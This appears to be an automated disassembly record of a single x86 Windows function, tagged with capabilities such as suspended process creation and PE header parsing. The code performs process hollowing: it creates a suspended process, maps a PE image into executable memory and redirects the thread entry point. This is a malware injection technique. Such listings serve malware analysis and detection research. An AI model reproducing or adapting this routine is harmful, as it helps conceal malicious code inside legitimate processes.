Function at 0x4586f0
Capabilities:
Create process on windows
Create process suspended
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, 0x22
push 0
push 0
dec ecx
jne 0x4586f9
push ecx
xchg dword [ebp - 4], ecx
push ebx
push esi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov ebx, dword [ebp + 8]
mov eax, dword [ebp - 4]
call fcn.00404984
mov eax, dword [ebp - 8]
call fcn.00404984
xor eax, eax
push ebp
push 0x458edd
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0x10], eax
lea edx, [ebp - 0x84]
mov eax, dword [ebp - 4]
call fcn.00408098
mov eax, dword [ebp - 0x84]
push eax
lea edx, [ebp - 0x88]
mov eax, 0x458ef8
call fcn.00457458
mov eax, dword [ebp - 0x88]
pop edx
call fcn.00404a7c
test eax, eax
jle 0x458781
mov eax, dword [0x471750]
cmp byte [eax], 0
je 0x458781
lea edx, [ebp - 4]
mov eax, 0x458f10
call fcn.00457458
cmp dword [ebp - 4], 0
jne 0x458794
lea edx, [ebp - 4]
mov eax, 0x458f10
call fcn.00457458
cmp byte [0x472f28], 0
jne 0x4587a2
call fcn.0045a700
cmp dword [ebp - 0xc], 0
je 0x458e87
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp word [eax], 0x5a4d
jne 0x458e87
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x3c]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
cmp dword [eax], 0x4550
jne 0x458e87
mov eax, dword [ebp - 0x18]
mov word [eax + 0x5c], 2
lea eax, [ebp - 0x80]
mov edx, 0x44
call fcn.0043313c
lea eax, [ebp - 0x3c]
mov edx, 0x10
call fcn.0043313c
mov dword [ebp - 0x80], 0x44
mov word [ebp - 0x50], 0
mov dword [ebp - 0x54], 1
test ebx, ebx
je 0x458835
push 0
push 0x10000000
push 0
push 0
push 0
mov eax, ebx
call fcn.00404994
mov esi, eax
push esi
call sub.user32.dll_CreateDesktopA
mov dword [ebp - 0x78], esi
cmp dword [ebp - 8], 0
je 0x45886c
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x80]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00404994
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x458e87
jmp 0x4588f2
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x80]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404994
mov ebx, eax
push ebx
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x4588f2
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x80]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push ebx
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x4588f2
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x80]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
lea edx, [ebp - 0x8c]
mov eax, dword [ebp - 4]
call fcn.00408bd4
mov eax, dword [ebp - 0x8c]
call fcn.00404994
push eax
push ebx
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x458e87
lea eax, [ebp - 0x20]
call fcn.00457b84
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x458e3d
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x10007
push 1
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x9c], eax
mov byte [ebp - 0x98], 0
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x94], eax
mov byte [ebp - 0x90], 5
lea eax, [ebp - 0x9c]
push eax
lea edx, [ebp - 0xa0]
mov eax, 0x458f24
call fcn.00457458
mov eax, dword [ebp - 0xa0]
push eax
call fcn.0045aa48
call fcn.004578e8
test al, al
je 0x458cef
xor eax, eax
mov dword [ebp - 0x2c], eax
push 4
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0xc8], eax
mov byte [ebp - 0xc4], 0
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0xa4]
add eax, 8
mov dword [ebp - 0xc0], eax
mov byte [ebp - 0xbc], 5
lea eax, [ebp - 0x28]
mov dword [ebp - 0xb8], eax
mov byte [ebp - 0xb4], 5
mov dword [ebp - 0xb0], 4
mov byte [ebp - 0xac], 0
lea eax, [ebp - 0x2c]
mov dword [ebp - 0xa8], eax
mov byte [ebp - 0xa4], 5
lea eax, [ebp - 0xc8]
push eax
lea edx, [ebp - 0xcc]
mov eax, 0x458f48
call fcn.00457458
mov eax, dword [ebp - 0xcc]
push eax
call fcn.0045aa48
call fcn.004578e8
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x34]
cmp eax, dword [ebp - 0x28]
jne 0x458a90
push 1
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x9c], eax
mov byte [ebp - 0x98], 0
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x94], eax
mov byte [ebp - 0x90], 5
lea eax, [ebp - 0x9c]
push eax
lea edx, [ebp - 0xd0]
mov eax, 0x458f6c
call fcn.00457458
mov eax, dword [ebp - 0xd0]
push eax
call fcn.0045aa48
test eax, eax
jne 0x458a72
push 0x40
push 0x3000
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x50]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x34]
push eax
mov eax, dword [ebp - 0x3c]
push eax
call fcn.004578f0
mov dword [ebp - 0x24], eax
jmp 0x458ab1
push 0x40
push 0x3000
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x50]
push eax
push 0
mov eax, dword [ebp - 0x3c]
push eax
call fcn.004578f0
mov dword [ebp - 0x24], eax
jmp 0x458ab1
push 0x40
push 0x3000
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x50]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x34]
push eax
mov eax, dword [ebp - 0x3c]
push eax
call fcn.004578f0
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x458c0d
mov eax, dword [ebp - 0xc]
call fcn.00457c88
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + 0x34]
mov eax, dword [ebp - 0x24]
cmp edx, eax
je 0x458b04
sub eax, edx
push eax
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 0xc]
push eax
call fcn.00457bc4
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x24]
mov dword [eax + 0x34], edx
push 0xf8
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x3c]
add eax, dword [ebp - 0xc]
push eax
call fcn.0045be10
lea eax, [ebp - 0x2c]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x50]
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x3c]
push eax
call fcn.004579cc
lea eax, [ebp - 0x2c]
push eax
push 4
lea eax, [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0xa4]
add eax, 8
push eax
mov eax, dword [ebp - 0x3c]
push eax
call fcn.004579cc
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x28]
add eax, dword [ebp - 0x24]
mov edx, dword [ebp - 0x1c]
mov dword [edx + 0xb0], eax
push 1
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x9c], eax
mov byte [ebp - 0x98], 0
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x94], eax
mov byte [ebp - 0x90], 5
lea eax, [ebp - 0x9c]
push eax
lea edx, [ebp - 0xd4]
mov eax, 0x458f90
call fcn.00457458
mov eax, dword [ebp - 0xd4]
push eax
call fcn.0045aa48
push 1
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x9c], eax
mov byte [ebp - 0x98], 0
xor eax, eax
mov dword [ebp - 0x94], eax
mov byte [ebp - 0x90], 5
lea eax, [ebp - 0x9c]
push eax
lea edx, [ebp - 0xd8]
mov eax, 0x458fb4
call fcn.00457458
mov eax, dword [ebp - 0xd8]
push eax
call fcn.0045aa48
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x10], eax
cmp byte [ebp + 0xc], 0
je 0x458bf4
mov edx, 0x7530
mov eax, dword [ebp - 0x3c]
call fcn.0045c6b4
cmp dword [ebp - 0xc], 0
je 0x458dd1
mov eax, dword [ebp - 0xc]
push eax
call fcn.00406284
pop ecx
jmp 0x458dd1
push 1
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x9c], eax
mov byte [ebp - 0x98], 0
xor eax, eax
mov dword [ebp - 0x94], eax
mov byte [ebp - 0x90], 0
lea eax, [ebp - 0x9c]
push eax
lea edx, [ebp - 0xdc]
mov eax, 0x458fd0
call fcn.00457458
mov eax, dword [ebp - 0xdc]
push eax
call fcn.0045aa48
inc dword [0x472f4c]
cmp dword [0x472f4c], 6
jae 0x458c7e
mov al, byte [ebp + 0x10]
push eax
push 0
push 0
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.004586f0
mov dword [ebp - 0x10], eax
jmp 0x458e87
cmp dword [0x472f4c], 8
jae 0x458cb3
mov al, byte [ebp + 0x10]
push eax
push 0
push 0
lea eax, [ebp - 0xe0]
call fcn.00459454
mov eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
call fcn.004586f0
mov dword [ebp - 0x10], eax
jmp 0x458e87
cmp byte [ebp + 0x10], 0
jne 0x458e87
xor eax, eax
mov dword [0x472f4c], eax
lea eax, [ebp - 0x10]
push eax
push 0
lea eax, [ebp - 0xe4]
mov ecx, dword [ebp - 8]
xor edx, edx
call fcn.004047e0
mov eax, dword [ebp - 0xe4]
xor ecx, ecx
mov edx, dword [ebp - 0xc]
call fcn.00447a70
jmp 0x458e87
push 1
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x9c], eax
mov byte [ebp - 0x98], 0
xor eax, eax
mov dword [ebp - 0x94], eax
mov byte [ebp - 0x90], 0
lea eax, [ebp - 0x9c]
push eax
lea edx, [ebp - 0xe8]
mov eax, 0x458fd0
call fcn.00457458
mov eax, dword [ebp - 0xe8]
push eax
call fcn.0045aa48
inc dword [0x472f4c]
cmp dword [0x472f4c], 6
jae 0x458d60
mov al, byte [ebp + 0x10]
push eax
push 0
push 0
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.004586f0
mov dword [ebp - 0x10], eax
jmp 0x458e87
cmp dword [0x472f4c], 8
jae 0x458d95
mov al, byte [ebp + 0x10]
push eax
push 0
push 0
lea eax, [ebp - 0xec]
call fcn.00459454
mov eax, dword [ebp - 0xec]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
call fcn.004586f0
mov dword [ebp - 0x10], eax
jmp 0x458e87
cmp byte [ebp + 0x10], 0
jne 0x458e87
xor eax, eax
mov dword [0x472f4c], eax
lea eax, [ebp - 0x10]
push eax
push 0
lea eax, [ebp - 0xf0]
mov ecx, dword [ebp - 8]
xor edx, edx
call fcn.004047e0
mov eax, dword [ebp - 0xf0]
xor ecx, ecx
mov edx, dword [ebp - 0xc]
call fcn.00447a70
jmp 0x458e87
xor eax, eax
mov dword [ebp - 0x2c], eax
push 3
mov dword [ebp - 0x110], 0xffffffff
mov byte [ebp - 0x10c], 0
lea eax, [ebp - 0x20]
mov dword [ebp - 0x108], eax
mov byte [ebp - 0x104], 5
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x100], eax
mov byte [ebp - 0xfc], 5
mov dword [ebp - 0xf8], 0x8000
mov byte [ebp - 0xf4], 0
lea eax, [ebp - 0x110]
push eax
lea edx, [ebp - 0x114]
mov eax, 0x458ff4
call fcn.00457458
mov eax, dword [ebp - 0x114]
push eax
call fcn.0045aa48
cmp dword [ebp - 0x10], 0
jne 0x458e87
push 1
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x9c], eax
mov byte [ebp - 0x98], 0
xor eax, eax
mov dword [ebp - 0x94], eax
mov byte [ebp - 0x90], 0
lea eax, [ebp - 0x9c]
push eax
lea edx, [ebp - 0x118]
mov eax, 0x458fd0
call fcn.00457458
mov eax, dword [ebp - 0x118]
push eax
call fcn.0045aa48
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x458ee4
lea eax, [ebp - 0x118]
mov edx, 2
call fcn.004044dc
lea eax, [ebp - 0xf0]
mov edx, 0xa
call fcn.004044dc
lea eax, [ebp - 0xa0]
call fcn.004044b8
lea eax, [ebp - 0x8c]
mov edx, 3
call fcn.004044dc
lea eax, [ebp - 8]
mov edx, 2
call fcn.004044dc
ret